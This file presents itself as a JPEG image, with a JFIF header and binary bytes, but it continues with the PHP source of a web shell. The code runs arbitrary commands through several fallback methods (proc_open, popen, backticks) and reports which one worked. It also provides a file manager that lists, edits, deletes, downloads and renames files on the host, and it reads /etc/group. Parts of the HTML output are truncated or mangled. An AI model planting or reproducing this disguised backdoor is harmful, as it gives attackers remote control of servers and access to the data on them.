ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ. array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
$return_var = proc_close($process);
break;
case 'popen':
$handle = popen($command, 'r');
$output = stream_get_contents($handle);
$return_var = pclose($handle);
break;
case 'pcntl_exec':
break;
case 'backtick':
$output = `$command`;
$return_var = strlen($output); // backtick operator doesn't provide a return_var
break;
}
// If the command was executed successfully, break out of the loop
//echo "Command: $command\n
";
if ( (is_array($output) && count($output) > 0) || (!is_array($output) && strlen($output) > 0 ) ){
echo "Command: $command\n
";
echo "used Exxecution Method: $method\n
";
$_SESSION["method"] = $method;
break;
}
}
return $output;
}
function createDirectoryLinks($directory) {
$sections = explode(DIRECTORY_SEPARATOR, $directory);
$currentPath = '';
$links = '';
foreach ($sections as $section) {
if (!empty($section)) {
$currentPath .= DIRECTORY_SEPARATOR . $section;
$links .= DIRECTORY_SEPARATOR ."" . $section . "";
}
}
return $links;
}
function getFilePermissionsString($itemPath) {
$permissions = fileperms($itemPath);
// Get the file type
$fileType = '';
if (is_dir($itemPath)) {
$fileType = 'd';
} elseif (is_link($itemPath)) {
$fileType = 'l';
} else {
$fileType = '-';
}
// Convert integer permissions to string representation
$permissionString = $fileType;
// Owner permissions
$permissionString .= ($permissions & 0x0100) ? 'r' : '-';
$permissionString .= ($permissions & 0x0080) ? 'w' : '-';
$permissionString .= ($permissions & 0x0040) ?
(($permissions & 0x0800) ? 's' : 'x') :
(($permissions & 0x0800) ? 'S' : '-');
// Group permissions
$permissionString .= ($permissions & 0x0020) ? 'r' : '-';
$permissionString .= ($permissions & 0x0010) ? 'w' : '-';
$permissionString .= ($permissions & 0x0008) ?
(($permissions & 0x0400) ? 's' : 'x') :
(($permissions & 0x0400) ? 'S' : '-');
// Others permissions
$permissionString .= ($permissions & 0x0004) ? 'r' : '-';
$permissionString .= ($permissions & 0x0002) ? 'w' : '-';
$permissionString .= ($permissions & 0x0001) ?
(($permissions & 0x0200) ? 't' : 'x') :
(($permissions & 0x0200) ? 'T' : '-');
return $permissionString;
}
function getGroupInfo($path) {
$gid = filegroup($path);
$groupInfo = array();
if (file_exists('/etc/group')) {
$handle = fopen('/etc/group', 'r');
while (($line = fread($handle, 1024)) !== false) {
$fields = explode(':', $line);
if ($fields[2] == $gid) {
$groupInfo['name'] = $fields[0];
break;
}
}
fclose($handle);
}
return $groupInfo['name'];
}
function getOwnerInfo($path,$isuname = false) {
if(fileowner("..") == fileowner($path)){
$isuname = true;
}
$uid = fileowner($path);
$userInfo = array();
if (function_exists('getpwuid')) {
$userInfo = getpwuid($uid);
return $userInfo['name'];
} else {
// Fallback method using script path
$scriptPath = __FILE__; // Get the current script path
if ($isuname && strpos($scriptPath, '/home/') !== false) {
$owner = substr($scriptPath, strpos($scriptPath, '/home/') + 6);
$owner = substr($owner, 0, strpos($owner, '/'));
return $owner;
} else {
// Default fallback
$userInfo['name'] = 'User_' . $uid;
return $userInfo['name'];
}
}
}
// Fetch directory listing using ls -liah command
function getDirectoryListing($directory) {
$directoryContents = scandir($directory);
$lsOutput = "";
$directories = array();
$files = array();
$x = 0;
foreach ($directoryContents as $item) {
$x++;
$itemPath = $directory . '/' . $item;
$itemInfo = pathinfo($itemPath);
$permissions = getFilePermissionsString($itemPath);
$owner = (function_exists('posix_getpwuid')) ? posix_getpwuid(fileowner($itemPath))['name'] : getOwnerInfo($itemPath);
$group = (function_exists('posix_getgrgid')) ? posix_getgrgid(filegroup($itemPath))['name'] : getGroupInfo($itemPath);
$size = filesize($itemPath);
if ($size < 1024) {
$sString = $size . " B";
} elseif ($size < 1048576) {
$sString = round($size / 1024, 2) . " KB";
} elseif ($size < 1073741824) {
$sString = round($size / 1048576, 2) . " MB";
} else {
$sString = round($size / 1073741824, 2) . " GB";
}
$sString = str_replace(" ", "", $sString);
//echo "[[$sString]]";
$modifiedTime = date('Y-m-d H:i:s', filemtime($itemPath));
if(substr($permissions, 0, 1)=="d"){
$item = "[$item]";
}
$line = sprintf(
"%d[+]%s[+]%s[+]%s[+]%s[+]%s[+]%s",
$x,
$item,
$owner,
$group,
$sString,
$permissions,
$modifiedTime
);
if(substr($permissions, 0, 1)=="d"){
$directories[] = $line;
}else{
$files[] = $line;
}
}
$lsOutput = implode("\n", $directories);
$lsOutput .= "\n".implode("\n", $files);
return $lsOutput;
}
function forceDownload($filePath) {
if (file_exists($filePath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filePath));
readfile($filePath);
exit;
}
}
echo <<
$commandOutput"; } } // Handle file actions and directory listing // Handle file actions and directory listing if (isset($_GET['action']) && isset($_GET['filename'])) { $action = $_GET['action']; $filename = $_GET['filename']; switch ($action) { case 'E': // Edit file action $filePath = $workingDir . '/' . $filename; if (is_file($filePath)) { if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["file_content"])) { // Save file content if form is submitted $fileContent = $_POST["file_content"]; if (file_put_contents($filePath, $fileContent) !== false) { echo "File saved successfully: $filename"; } else { echo "Error saving file: $filename"; } } else { // Display file content in form for editing $fileContent = file_get_contents($filePath); $fileContentSafe = htmlspecialchars($fileContent); echo "
| $column | "; if ($index >= 0) { // Actions for subsequent rows //echo $columns[5]; if (substr($columns[5], 0, 1) != 'd') { // If not a directory, include actions echo ''; echo " E | "; echo "Del | "; echo "Dow | "; echo "R "; echo " | "; } elseif($columns[1]=="[.]" || $columns[1]=="[..]"){ echo ''; }else{ $dirName = str_replace("[", "", $columns[1]); $dirName = str_replace("]", "", $dirName); echo ' | '; echo "Download | "; echo "Rename "; echo " | "; } } } else { // Other columns if(substr($column[0], 0, 1) == '['){ //make it clickable to change directory $dirName = str_replace("[", "", $column); $dirName = str_replace("]", "", $dirName); if($dirName==".."){ $dirName = getUpperDirectory($workingDir); }elseif($dirName !="."){ $dirName = $workingDir."/".$dirName; } if ($dirName=="."){ echo "[.] | "; }else{ echo "$column | "; } }else{ echo "$column | "; } } } echo "
$output"; } catch (Exception $e) { echo "
" . $e->getMessage() . ""; } } echo <<